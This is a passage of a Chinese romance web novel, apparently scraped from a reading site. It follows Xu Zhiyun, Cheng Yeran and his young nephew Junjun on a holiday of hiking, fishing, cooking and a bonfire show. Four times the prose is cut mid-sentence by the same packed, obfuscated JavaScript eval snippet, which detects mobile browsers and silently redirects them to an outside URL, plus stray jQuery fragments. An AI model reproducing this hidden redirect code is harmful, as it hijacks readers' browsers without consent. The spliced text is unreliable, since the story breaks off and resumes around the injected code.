“嘿嘿,不会的。”小朋友笑嘻嘻道,“姐姐你长得那么漂亮,感觉又和善,肯定是好人。” 许知蕴哭笑不得。想说几句“不能因为人的外貌和感觉就判定一个人的好坏”之类的话,但又觉得自己这些话肯定很像来自陌生人的说教,便不再说什么。 谁知,在她起身丢小木棍的当口,小朋友又冷不丁飘来一句话:“我知道,人不可貌相,我叔叔也说我太容易相信别人了……可是我有感觉呀!我的感觉从来没错的……哎!我叔叔回来啦!” 小孩子的声音陡然拔高,透露出满满的喜悦。许知蕴想是时候拔腿走人了,便站起身来。刚走几步路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067588|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角的余光忽然看见一个人影——手里拿着风车,应该就是这孩子的叔叔了。叔叔弯下腰来同小朋友说话……奇怪,这声音怎么这么耳熟? 就看一眼,就看一眼……许知蕴偷偷摸摸地转过脑袋,想要看看声音的主人究竟是谁—— 她和一双似曾相识的眼睛对视了。 “怎么是你?!” * 看见来人,程烨然挑了挑眉:“怎么,看见我好像很不乐意的样子?” 许知蕴重新找了个椅子坐下,声音闷闷的:“没有,我就是……震惊……你们不应该去什么马尔代夫、什么欧洲度假?” 小朋友已经做了自我介绍,说自己叫俊俊,今年小学二年级。许知蕴听他喊程烨然“叔叔”,就知道他应该是程烨然哥哥的孩子。俊俊虽然古灵精怪,但有时候意外的实诚。似乎是因为她是程烨然的熟人,俊俊对自己的自我介绍已经细化到了读哪个小学、爱吃什么、最喜欢的动物是……程烨然朝她无奈地摊了摊手。 等俊俊发完言,程烨然的冰棍和烤肠都吃完了。俊俊拉着许知蕴的手:“姐姐,和我们一起爬山吧!” 许知蕴笑道:“好好好。我们走吧。” 树荫底下集合的旅游团早就不见了,现在又换了一拨。他们三人沿着台阶一步步走上去。俊俊的体力特好,走得飞快。许知蕴和程烨然则走在后面。他们不要求速度,只是慢慢地走着,欣赏沿路的风景。 她问程烨然:“你们也是来这里旅游的?” “嗯,俊俊说要来延桐。其实我也没来过这地方。”程烨然说,“据说,这里是‘茉莉之城’。” “对啊。一到夏天,茉莉花就开了。特别香,一出火车站就闻到了。” 他们登上了山顶。夕阳西沉,树影斑驳,云霞如倾倒的颜料桶般流泻出来。不远处连绵的山丘也亮起了各色的彩灯,江水绵绵,几艘小渔船在光影里摇摇地回港。俊俊拿出相机一阵乱拍,又从包里取出个拍立得,扯扯程烨然的衣袖:“叔叔,我们和姐姐一起照相怎么样?” 程烨然低声说:“这你得去问姐姐。” 俊俊跑到许知蕴这里,举起自己的拍立得:“漂亮姐姐,我们一起照张相吧!” 许知蕴这时正撑着下巴,倚在栏杆上发呆。闻言,她笑眯眯地俯下身,轻轻捏了捏俊俊的脸颊:“好啊。不过你叔叔同意吗?” “我刚问他了,他叫我问你。他要是不同意,我们也……我们也不要理他!” 拜托了一位路人,帮忙合照。他们摆好姿势,很快就照好了。三分钟后,照片显影出来。 背景是温馨的夜,俊俊站在中间,把奥特曼抱在胸前,做了个手里的奥特曼同款的动作。许知蕴站在左边,单手插口袋,另一只手规规矩矩比“耶”。程烨然则戴了个黑色鸭舌帽,可惜在拍照的途中,鸭舌帽被风吹歪了,只好伸出手来扶住帽檐。相机将他们现在的样子定格住,许知蕴看到时才发现,自己的一缕头发被吹了起来。 俊俊说:“没事的姐姐!这样也很好看!对吧叔叔?” 许知蕴有些尴尬地别过头去。 但过了几秒钟,她却听见了程烨然温和的、带着笑意的声音: “嗯,很好看——我可不是说谎话噢。” 12. 第十二章 下山后,他们进了家小馆子吃晚饭。 三个人,正好点一份大份的烤鱼。老板很热情,还给他们一人送了一小盒纸巾。等餐的时候闲谈,许知蕴才发现他们三个人住的是同一个民宿。 她很惊奇:“你们也选这家?这么巧。” 负责规划住宿的是程烨然。他摸了摸鼻子:“嗯……这家在软件上的评分最高。” 其实许知蕴也不是那么会做住宿的功课,她也是看评分和设施来定的。“你们住哪间?我在312。” 表情惊讶的换成了俊俊:“姐姐,我们住304!我可以去你房间和你玩吗?我带了好多游戏!” 这也太巧了吧?许知蕴想,似乎和程烨然碰上的巧合特别多。谁能想到在酒吧邂逅的人跟你同住一个小区呢?更别提这个人还是你素未谋面的相亲对象了。 她还没说话,就听见程烨然低声对俊俊说:“不要去打扰人家,你要想玩,我陪你玩。” 许知蕴看着俊俊闷闷不乐的神情,忍不住去呼噜了一把他毛茸茸的脑袋:“没事的,可以来和我玩。” “谢谢姐姐!” 俊俊乐呵呵地道谢,继续把玩他的奥特曼。程烨然有些抱歉地对许知蕴说:“实在不好意思,给你添麻烦了。” “不麻烦不麻烦。”许知蕴摆摆手,“我很喜欢俊俊的。他多可爱。” 说着说着,烤鱼就上来了。鲜香麻辣,淋了热油,滋滋地在铁板上发出令人食指大动的响声。俊俊一边吃一边爆料:“姐姐,你知道吗,我叔叔是个吃货。” 许知蕴虽然知道程烨然对美食一道情有独钟,但还是表现得很感兴趣:“嗯,比如?” “我爸说,叔叔从小到大都是这个样子,碰到什么都想尝一口。我爸小时候生病了,要吃药丸,那个药丸长得很像巧克力球。叔叔就偷偷地翻他的柜子,把那个药丸的瓶子拿出来,一口把药丸塞进嘴巴里——结果是苦的!他一下子把瓶子打翻了。动静太大,把爷爷奶奶都吵起来了……” 许知蕴故意去看程烨然,想象一个Q版的小程烨然,偷偷摸摸地去翻箱倒柜,只是为了啃一个看起来很好吃的“巧克力球”,就笑得乐不可支。 “还有吗还有吗?” “当然了——不过我也不太知道了,我每次想听,叔叔都不让我听……姐姐,不过在我心里,叔叔是最会吃的人。他带我吃了好多家好吃的餐馆!之前有一次,我考试进步了,他还带我去吃海鲜!那家海鲜可好吃了,就在……就在……” 俊俊歪着头努力回想着:“就在港口那里,有点远,有点难找……旁边有一艘旧轮船!有标志的话就很容易找……” 那天晚上,俊俊一边吃鱼,一边夸这家的东西好吃。“叔叔,太好吃了!什么都好好吃,螃蟹也特别肥!你之前怎么不带我来,是不是要私藏啊?” 程烨然替俊俊剥螃蟹的手顿了一下:“我可不是私藏,只是……” “只是什么?” 程烨然笑笑:“只是我也是最近才知道这家店的。” “是有人介绍给你的吗?” 程烨然把剥好的蟹肉放进俊俊的碗里,低着头,神色有些看不清楚,但语调的尾音却是上扬的:“嗯。是一个朋友。” 俊俊追问他,是什么样的朋友呢?可坏心眼的叔叔却撇了撇嘴,不回答他了。 许知蕴一下子怔住了。 那好像是——她带程烨然去吃的那家? 她心中忽然有些小小的雀跃。这么说,程烨然很是认可自己的推荐咯? 心中的小火花转着圈儿一样蹦起来,她把目光投向旁边坐着的男人。但刚才听着俊俊揭底而面不改色的人,现在似乎变得不好意思起来,把头偏了过去,都不肯跟她对视了。 所幸先前点的炒青菜上来了,许知蕴忍着笑轻咳一声:“好啦,吃菜啦。多吃青菜补充膳食纤维。” 俊俊嘟囔道:“我不想吃青菜……” 程烨然这才把头重新偏了回来,耳朵尖也没那么红了。 * 吃完饭,他们回到民宿。简单洗漱完,许知蕴套了件棉麻的白色睡袍,走到一楼的庭院里,坐在房檐下的简易木椅上。 延桐的夏天,早晚是凉爽的。对面是他们下午刚爬过的山,掩映在层层云影里,朦朦胧胧。夜空柔和,她靠着椅背开始发呆——她喜欢发呆,没事的时候,放空自己的脑袋,看着眼前的人来来去去,在脑海中编着无厘头的故事,时间就能变得特别快。 她的思绪正漫无目的地在夜空中飞驰,忽然就看见一双白色的休闲鞋。鞋子的主人走到她的身旁,也坐了下来。 她问:“你也下来么?” 程烨然指了指不远处的俊俊:“他说要来跟小朋友玩麻将。” 俊俊正和三个小朋友坐在麻将桌前。他们哪里会打,统一都将麻将块当成了积木,正兴致勃勃地开始盖房子,还是带院子的那种。俊俊是总负责人,看起来神气得很。 “我还以为他会打麻将呢。” “哪里。你会吗?” 许知蕴摇头:“我不会打,但我会打桥牌。我妈妈打桥牌是一把好手,她还得过组织里比赛的奖。你呢?” 她颇有兴趣地看着程烨然:“麻将、牌九……这么多样东西,总得会一个吧?” 可没想到程烨然的回答又一次出乎许知蕴的意料:“其实——” 他还故意拖长了声音来吊胃口,最后却给出一个朴实无华的答案,“其实我只会打斗地主。” 许知蕴一愣,然后哈哈大笑起来。“正好,你、我、俊俊三个人,正好可以凑一盘斗地主。” 她仰起头,看见天上的星子一闪一闪。 她想起曾经听过的一个老套的传说:人去世后,会化成天上的星星。倘若星星闪了,那就是那人眨了眨眼睛。倘若流星飞过,那就是灵魂要重归世界。这虽然是哄小孩子的故事,但许知蕴却一直坚定地相信这些。 “程烨然,你相信世界上有灵魂的存在吗?”她问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067589|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我相信。” “那你相信,人死后,灵魂会变成天上的星星吗?” 程烨然轻声说:“嗯,这个我也相信。” 不管许知蕴说什么,他都很有耐心。 许知蕴看着漆黑的夜空:“我有看过很多不一样的传说。有的地方认为,灵魂的最终归宿是天堂和地狱。有的则说灵魂会变成星星、变成鱼、变成去山上祭奠时碰见的第一只动物……世界太大了,不同的环境,不同的生活与思考方式催生了不同的想象……程烨然,如果不当玩具设计师,你想要做什么呢?” 话题跳跃得很快,一下子就从“灵魂的归宿”跳到了“未来”。人的意识就是这样,在没发觉的时候,其实已经悄然流淌到了别处。 这个问题,程烨然还真想过。那是他小时候的事情。他看《加勒比海盗》,买了一艘特别精美的模型船,每天就幻想着,自己在航船的甲板上,迎着风高高扯起风帆的样子。 他说:“我想当水手呢。” “为什么不是船长?”许知蕴显然跟他想到一块去了,“你看杰克船长,多帅。” 程烨然伸出食指,在她面前摇了摇:“当船长要操心的事情太多了:船往哪个方向开、下一个停靠点在哪、遇到风浪还要指挥……不如当水手来的自在。你呢,你想当船长吗?” “对呀。”许知蕴说,“我以前呢,就想当船长了。给我一艘多么小的船也没关系,哪怕手下只有一个水手也没关系。船还是船,总能在海上航行的。” 程烨然失笑:“那我给你当水手吧,给我开够工资就行。” 就像海浪冲击礁石一般,许知蕴听了他的话,心里忽然充盈着某种难言的情绪。但她又不知这情绪从何而来,只好傻傻地笑了笑。 她笑的时候,眉眼舒展开来。那双眼睛的弧度,就像今晚挂在天上的那个小小的月牙儿。 她笑着笑着,俊俊就从另一边跑过来了。他搭完自己的房子,踩着拖鞋啪嗒啪嗒地过来,问:“姐姐,你们在讲什么好玩的事情?” 许知蕴逗他:“在想出海航行的事情呢。你叔叔是水手,我是船长。你想要个什么职位呢?” 俊俊的小脸皱了起来。他似乎做出了一番很是艰难的抉择:“我……我还是当煮饭的吧。我做饭可好吃了,比我爸做的好吃。我到时候天天做给你们吃。” 许知蕴忍不住又伸手呼噜了一把他的脑袋。 夜深了,风也越来越凉,他们起身往回走。电梯很快到了三楼,是要说“明天见”和“晚安”的时候了。 但许知蕴望着程烨然的侧脸,忽然不想那么快地道那声“晚安”。 一旦说了这句话,今天就结束了。可今天是如此的快乐,她不想那么快地结束。 但在程烨然发觉她的视线,低声问她“怎么了”的时候,她也只能垂下眼睛,掩盖住一切夜晚带来的思绪,轻轻地说:“没什么。” 他们互道了一声晚安,然后推开了各自房间的门。 13. 第十三章 接下来的日子,他们去河边钓了鱼。 租了钓竿,三个人各找位置坐下来,钩好鱼饵,抛竿后静待鱼儿上钩。俊俊说要比较谁钓的多,许知蕴和程烨然欣然同意。许知蕴暗戳戳地想,自己跟父亲学过钓鱼,也不算是“输在起跑线”,到时候一定要钓上很多鱼,让他们大吃一惊。 树荫下聚集着很多钓鱼人,大多姿态闲散。湖面波光粼粼,野鸭在湖上欢快地游动,激起阵阵温柔的涟漪。许知蕴等着大显身手,却没想到,两个小时过去了,她只钓上来三条拇指大的小黄鱼,而据说是“第一次钓鱼的绝对新手”俊俊,却一口气钓了一条大鱼上来。 许知蕴郁闷了。这难道就是所谓的“新手保护期”? 俊俊提着他的鱼在许知蕴和程烨然面前欢乐地转悠:“看!我钓上的第一条鱼!” “不错不错,继续努力呀!” 许知蕴倒没有嫉妒小孩的心思。钓鱼嘛,当然也有运气的成分在。她爸当年迷恋夜钓,听说哪个地方鱼多就去哪里,结果每次都无功而返,反而是同去的人收获满满。 俊俊志在必得,继续抛竿。但令人失望的是,一个小时后,他的鱼竿依旧丝毫没有动静。连一条咬钩的小鱼都没有。这个时候,已经是傍晚了,公园里的人都陆陆续续地往回走。俊俊看着自己水桶里唯一的一条大鱼发呆:“是不是我今天的运气都用在刚刚那条鱼身上了……” 程烨然指了指自己的桶,权当安慰:“不要着急。你看我,一条都没钓上。” 许知蕴的水桶里起码还有几条小鱼,程烨然的桶里除了清澈的湖水之外,什么也没有。 俊俊撇撇嘴:“叔叔的运气也是真够差的。” 他们收拾好东西,把租来的钓竿还给人家,就带着鱼回到了民宿。 如果住客自带了食材,那么民宿就会提供宰杀烹饪的服务。许知蕴来的时候,就见几位客人拎着一只活蹦乱跳的鸡走进来,说这是好不容易在散养场里逮到的,一看就是肉质紧实的土鸡,煮了肯定喷香。老板把鸡拿进厨房,过了一会里边就传来了水烧开的声音。 俊俊想要红烧了这条鱼。 程烨然说:“你钓的鱼,你说了算。你想吃什么口味就吃什么口味。” 俊俊说:“叔叔,你能来做这条鱼吗?你做的可好吃了。” 接着他跟许知蕴吹嘘起程烨然的厨艺来:“姐姐,叔叔做饭很好吃哦!你一定要尝试一下他的手艺,不会令你失望的!” 许知蕴单知道程烨然很会吃,但不知道他很会做饭。“真的假的?”她问,“你叔叔最擅长做什么好吃的?” 俊俊一下子就报出了答案:“腌笃鲜!” 她的目光移向程烨然。两个人的眸子都亮晶晶的,程烨然明显有些招架不住:“行,我待会去厨房问问,看他们给不给我们用。要是不给就只能算了。” 他们来到厨房。老板听说他们的来意,很爽快地同意了,问是谁要做饭。得知是面前这个身形修长的帅哥时,还是忍不住惊讶了一番:“哎,居然是小伙子做饭哦!这年头会做饭的年轻人不多啦!” 就这样获得了厨房使用权。 俊俊想要跟进来帮忙,被程烨然一口拒绝了。“我记得……你还有假期作业?英语差四页、数学差两页、语文差六页呢。” 他的语气阴森森的,“要是回去后你爸知道你作业没写完,你和我都要吃不了兜着走。” 俊俊打了个激灵,立马乖乖地表示回房写作业,并且千叮咛万嘱咐菜做好了一定要叫他。 “怕什么。”程烨然耸耸肩,“你还怕我们偷吃?这可是你钓的鱼。” 得到承诺,俊俊心满意足地走了。程烨然刚想把围裙围上,忽然发现厨房里还有个人,正抱着手臂揶揄地打量他。 “你穿上围裙还真有点那个……”许知蕴思考了一会,想到个形容词,“像家庭煮夫哎。” 程烨然失笑:“谁穿上围裙都像家庭煮夫吧。” 许知蕴呵呵笑:“那也是。” 她没有要走的架势,而是倚在门边,像一个等待首长命令的小兵。 程烨然说:“我很快就做好,你要不去厅里坐着等?这里油烟会有点大,我怕熏着你。” 农家厨房的特点就是大锅和灶台。厨房里堆着一大堆柴火,灶台旁放着铁钳子和引火的棉花。大铁锅铮亮,一看就是一口好锅。排气扇挂在墙上吱呀呀地转,或许是被油烟熏多了,边缘有些发黑。 许知蕴却摇摇头:“我不出去。我是来帮你打下手的。” 她说得很认真,完全不像是在开玩笑。程烨然顿了一下:“哪有船长帮水手打下手的?” “我现在不是船长了,是小工。”许知蕴自顾自走到灶台前,坐在烧火的凳子上,握住比她的手还要大一圈的铁钳子,往灶里塞了一片木头,“你负责炒菜做饭,我就来烧烧火吧。” 程烨然看着她,无奈地笑了一下。“行吧,注意安全,小心别烫伤了。” “你就只管把心放在肚子里。”许知蕴朝他做了个鬼脸。 “好好好。” 程烨然挽起袖子,熟练地将已经被刮鳞和开膛破肚的鱼洗净。俊俊钓上来的是条鲤鱼,他将鱼切花刀后腌制,然后热锅煎鱼。香味源源不断地飘出来,听着咕嘟咕嘟的声音,许知蕴只觉得自己饿了。她把灶台里的木头费劲巴拉地摆成三角的形状,随后抬起头来和程烨然有一搭没一搭地聊天: “你在家经常做饭吗?” 程烨然把鱼翻了个面:“还好。其实也就是些家常菜,不花很多时间的。” “这样啊……对了,俊俊说你最擅长的菜是腌笃鲜……真的吗?” “那当然是真的了。” 这道菜还是程烨然同家里的师傅学的。他其他的菜式学得不咋样,就腌笃鲜算勉强能够出师。 许知蕴其实没怎么吃过这道菜。她抬起头,看穿着围裙的程烨然在厨房里忙来忙去。等鱼煮熟的这段时间,他可没闲着。这条鲤鱼不大,三个人肯定不够吃,他还专门问老板要了其他的食材,打算做抱蛋豆腐,再炒个油麦菜。他有条不紊地洗菜切菜,刀工很扎实,切出来的滚刀块又均匀又漂亮。 升腾起来的烟雾,模糊了他的面庞,也遮住了许知蕴的视线。 她突然有些恍惚。即使这里只是类似农家乐的厨房,但她却有一瞬间觉得,自己就像是在家里一样。热气腾腾的、温暖的、安全的……有个人在厨房里忙来忙去,然后举着锅铲对她说,晚饭出炉啦!然后他们端着菜出来,快快乐乐地一起窝在沙发上,边吃边看电视。 这是她理想中的生活。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067590|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,确实有个人举着锅铲走到她面前,不过不是同她报喜,而是低头看了看灶台的火:“不够旺啊,我来加点柴。” 许知蕴猛然惊醒,手忙脚乱地去拿钳子:“不好意思不好意思,我来——” 立在一旁的钳子已经到了程烨然的手上。不像许知蕴,他的手拿这把钳子,不大不小正合适。 “不要着急,只是柴火的事情而已。” 他将两根玉米棒子放进去,又往里塞了几根树枝,然后把它们都码成三角叠叠乐的形状。 “好了。” 说完,他又走回铁锅前,拿着锅铲翻炒起来。许知蕴这才注意到鱼已经出锅了,正香喷喷地躺在长形瓷盘里。现在在锅里上下颠倒的是可怜却脆嫩的油麦菜。 她实在有点不好意思。自己说了要努力做好烧火工作的,结果却让厨师来操多余的心。“对不起对不起,我……”她给自己找了个理由,“我被香迷糊了,一时恍惚。” 程烨然差点没把锅铲拿稳,“谢谢你对我厨艺的夸奖。” “我没说假话,就是很香……什么时候能做好咧?我肚子饿了。” 下午钓鱼耗费了她太多精力,尤其是一条鱼都没钓到的情况下。她现在只想努力干饭,然后趴在床上好好地躺一躺。 “饿了?” 程烨然笑了笑,将炒好的油麦菜盛上来,帮着许知蕴灭了火,然后将三盘菜都端到她面前,递给她一双筷子,示意道:“饿了就先吃点。” “这……”许知蕴犹豫着,“算了吧……反正马上就要开饭了。” 俊俊可叮嘱他们,菜做好了要立马叫他的。并且程烨然才是厨师,要先吃也是厨师先吃吧? 但程烨然却坚持道:“你先吃一口,帮我尝尝味道如何。我是厨师,一向觉得自己做的味道都很好的,不好吃也尝不出来。” 他撒谎撒得面不改色。许知蕴只好从边缘夹起一小块鱼:“那我就吃一小口。” “吃吧。这鱼煎得有些散,多夹点,反正小屁孩看不出来哪里多一块少一块的。” 许知蕴几乎要偷偷笑起来,但嘴里还含着食物,她只好忍住。 鱼入口的一瞬间,嫩滑绵软,浓厚的香气几乎要把人包裹起来。 “好吃哎!”许知蕴满足地眯起眼睛,“你还是不要当水手了,在船上当炊事班班长吧。” 程烨然做饭也太好吃了吧?之前的那些话简直就是谦虚得过分了! 他们把菜端出厨房,程烨然给俊俊打电话,让他赶紧从楼上下来。许知蕴撑着头,看着桌上热气腾腾的饭菜。她忽然意识到这样奇妙的心境是从何而来了—— 这是因为他们所身处的环境。 因为身处这样的环境,她才能够看见这个围着围裙、拿着锅铲、时刻操心自己侄子的程烨然。但回到城市之后呢? 她盯着眼前被风吹得乱七八糟的热气,打趣道:“或许这是吃你做的菜的唯一一次机会了呢,我得大吃一顿才行啊。” 伴随着哒哒的脚步声,许知蕴知道是俊俊要来了。 但在俊俊走进饭堂的前一秒,坐在她身边的程烨然忽然笑着说:“不会的。” 她一愣,倏然间明白他这句“不会的”指的是什么。 明明是笑着的,但那双眼睛里的神情,却很是认真。 14. 第十四章 度假的日子总是过得特别快的。 他们如愿以偿地采了茉莉,每个人的手上都戴着自己编好的茉莉花手串。俊俊舍不得丢掉,每晚都放在床头。 他们去了寺庙、古街,尝了当地的许多特色美食。延桐人喜欢吃辣,许知蕴对这里的菜系味道简直赞不绝口。街上,仍有穿着民族服饰的姑娘在叫卖着,她们的篮子里放着许多当季的各色鲜花,逢人便说,买一束吧,自留还是送人都很好看的。 许知蕴看见那些篮子里的花束,很漂亮。它们的色彩搭配别具一格,似乎更有蓬勃向上的美。 她的脚步顿了一下。 她不是没遇到过卖花的人。在各种节日——特别是情人节的时候,路上全是卖玫瑰花的人。无论是一束还是一支,在那天都价格飞涨。她偶尔会买几支,不过不是送给自己的“男朋友”,而是将它们插在书房的花瓶里。 玫瑰花也并非情人专属,何况美丽的事物,谁不喜欢呢? 许知蕴觉得自己只是脚步稍稍慢了慢,但在旁人看来,她的目光已经在花束上游移很久了。 “……你喜欢吗?” 程烨然的声音让她回过神来,而面前卖花的姑娘正一脸希冀地看着她。 良心话,这花当然是喜欢的。只是自己一个人为自己买一束花,会不会有点傻? 但许知蕴还是非常诚实地回答:“嗯……这一束很好看。” 她指了指篮子里那束以栀子为主的花束。花瓣的洁白和叶子的碧绿相衬,有一种独特的优雅在其中。许知蕴其实只在电视和花店里见过栀子花,对于它的记忆,更深刻的是汪曾祺老人家书里的那一番话。 卖花姑娘拿起花束给她看,柔柔却又不可忽视的醉人香气就这样传了过来。 程烨然问:“这束花多少钱?” 卖花姑娘说:“二十五块。” 程烨然于是掏出手机,扫了挂在篮子上的二维码。卖花姑娘笑盈盈地将花递给程烨然,然后用一种颇为隐晦的羡慕目光看了一眼许知蕴。许知蕴哪里会不明白,她估计把他们当成一起旅游的恩爱小情侣了。 他接过花束,然后很自然地双手捧给她,只是说了句似乎有点没头没脑的话:“祝你天天开心。” 为什么要送我花呢? 这不是一个好时机,所以许知蕴没有把这个问题问出来。她接过花束,感受着栀子花的香味,低声地说了句:“谢谢。” 与此同时,她在心里盘算着,到时候该送程烨然什么样的礼物作为回礼。 他也喜欢花吗?如果不喜欢,那送什么好?还是像之前一样请他吃饭? 可在思考回礼的时候,她的内心忽然又有些不自在起来,仿佛有个细小的声音在告诉她,你不用回礼,因为这就是他想要送给你的。一个人真心想送另一个人礼物,难道会想着一定要收到什么报酬吗?送礼物不是等价交换的,那样就没意思了! 许知蕴在心里悄悄地反驳:送礼就是要有来有还的,要不然人家不可能再给你送了…… 可她为什么要期盼程烨然给她送礼物呢? * 最后一个晚上,他们去看了山脚下的篝火表演。 说是篝火表演,其实不仅仅只是围着篝火唱歌跳舞,还有一些别的演出活动。不远处有一个用竹子搭成的吊脚楼,很是精致,上边还扎着红色的绸带。俊俊问:“这是有人要结婚了吗?” 程烨然回答他:“不,这是演出。这个演出或许与结婚相关吧。” 很快他们就得知了答案:这的确是一个与“结婚”相关的故事。一位青年,翻山越岭来到姑娘的楼下,在月色中与她对歌。要是能讨到姑娘的欢心,就可以同她喜结连理。在对歌的期间,还会有姑娘的父母、亲戚朋友来对他进行考验,而考验的方式千奇百怪…… 他们坐在竹凳上,听着演员们的歌声。女声清脆,男声嘹亮。唱到情浓处,满头亮晶晶银饰的姑娘撩开珠帘,朝他微微一笑。 姑娘的朋友们进屋,同求亲的男子也对起歌来。他们提出很多奇怪的要求,考验这个男人是否真的有一片痴心。他依言照做,有些他做得来,有些他做不来,但屋子里的女孩们却没有取笑他,反而是转过身,对这位即将成为新娘的朋友说,看呀,他的动作虽然笨拙,可对你的情谊是多么深。 接下来是姑娘的父母亲戚登场。他们向男人提出诸多问题,问他的家庭状况、经济状况,考验他的心是否良善。男人出色地完成了应对,在这场总共长达一个半小时的反复询问后,他终于可以登上吊脚楼,将心爱的姑娘背了下来。周围响起一阵欢呼声。姑娘从他的背上灵巧地跃下来,开始和所有人围着篝火跳舞—— 这其实也是最后一道考验。会唱歌的人,可不一定会跳舞啊。 俊俊目不转睛地看着演出,而许知蕴则跟程烨然悄悄说:“你觉不觉得,这很像古代的相亲?” 是哦,这不就是古代版相亲? 程烨然点点头,笑着说:“我也觉得。” 即将成婚的一对新人正甜蜜地跳着舞。虽然大家都知道这是演的,但心里仍然有发自内心的高兴。许知蕴看着这场表演,忽然说: “我爸妈就是相亲认识的。那个年代嘛,自由恋爱比较少,一般的人呢,就托媒人介绍,相亲,要是还看得过去,就结婚生子。” 她的语速很慢,很清晰:“我爸妈是幸运的例子。他们虽然是相亲认识的,但婚后生活很和睦。要说是因为他们都是知识分子——或许也有这个原因,但双方都是知识分子却不幸的婚姻,我也见过。有知识又不等于有人品。我只是在想,现代的我们会有更多的选择,那古代的人呢? “一个女子,和一个陌生的男人见上几面,或许连一面也见不到,就稀里糊涂结婚了。如果离婚,那对女性的名声来说,是很大的打击。何况见了几面又能怎么样?人是可以伪装的,伪装几个小时或者几天,就能把女人娶到手,再划算不过的买卖了……” 如果她们没有识破李文俊的伪装,陈美芝的未来又会是怎样的呢? 说到这里,许知蕴顿了顿,“我承认,好男人也有,不过……我只是在想,这样的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067591|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻的容错率,是不是有点低?如果要结婚,那几乎是孤注一掷的事情……” 她的声音在人群的欢呼之中显得模糊不清。 在她说完之后,程烨然沉稳地接过了话头:“是的。在古代,作为一名女子,生存是很艰难的,爱情就像一个开奖的盲盒,中大奖的几率低得可怜。哪怕是在现代,女性身上的枷锁还没有被完全解开。” 他叹了口气:“不只是婚姻上的,还有其他种种方面。” 先前,江玥同程烨熙结婚的时候,也有过好一阵子的风言风语。有人议论,一个出身平凡家庭的姑娘,是怎么配上程家的大儿子呢?凭学识、凭颜值、还是凭身材? 程烨熙跟程烨然不止一次抱怨过:“不知道他们在嚷嚷什么?什么配得上配不上的,凭什么对别人评头论足!为什么只想人家配不配上我,不想我到底配不配得上人家!” 后来,还是江玥的事业彻底堵住了那帮嚼舌根的人的嘴。 程烨然对这类事情很能感同身受。他虽然是男人,可也不是看不见那些性别方面的区别对待。 许知蕴冷不丁问他:“程烨然,你会和一个不爱的人结婚吗?” “不会。”他摇摇头,却又补充了一句,“但有时候,我想,现实中的婚姻,不爱却结婚的人大有人在。” 有的出于责任,有的出于利益交换,有的或许只是出于,年纪到了,于是找个人搭伙过日子。爱不爱的,在生活的柴米油盐之中,或许都是次要的。 “我也不会。”许知蕴说,“准确来说,是不想。但不管现实如何,我如果没有遇到一个全身心相爱的人,我宁愿一辈子不结婚。不就是不结婚吗,又不是生活的必需品。” 她说完,嘿嘿一笑:“在你看来,这样的想法会不会有点幼稚?” 程烨然看着她傻里傻气,却又有些落寞的神情,低声说:“不。我并不觉得这是一个幼稚的想法。你的人生要怎么过,其实都取决于你。” “真的吗?我有时候会觉得,这真的很不成熟。不结婚,以后遇到事情怎么办?父母不会一直都在,我终究要一个人面对。我一个人真的能处理得好吗?没有小孩,没有人照顾怎么办?养老院……哼,养老院的质量参差不齐。我去做过护工,我知道里边的老人都怎么过的——特别是没钱的老人。 “我很幸运,我的家庭很幸福,经济方面也不短缺,我可以做很多我想做的事情,或许等我老了,我也可以凭借家里的积蓄,进一个很好的养老院,或许还能过得不错。但我深知,这个世界上,并不是所有人都和我一样幸运。而她们,或许并不能像我一样,做出这样的决定。人都是要生活的。” 明明没喝酒,但许知蕴像是有些醉了。她听着周围的乐声,看着围绕着篝火又唱又跳的人们,问:“程烨然同志,我能不能问你一个问题?放心,我这个问题绝对没有别的意思!” “问吧。” 得到了许可,许知蕴笑了笑,眼睛里亮亮的,就像藏了一颗浩瀚银河里的星星: “程烨然,你觉得,爱情是什么呢?” 15. 第十五章 爱情是什么? 程烨然其实很少思考这个问题。毕竟,要回答它,一千个人有一千个人的答案。 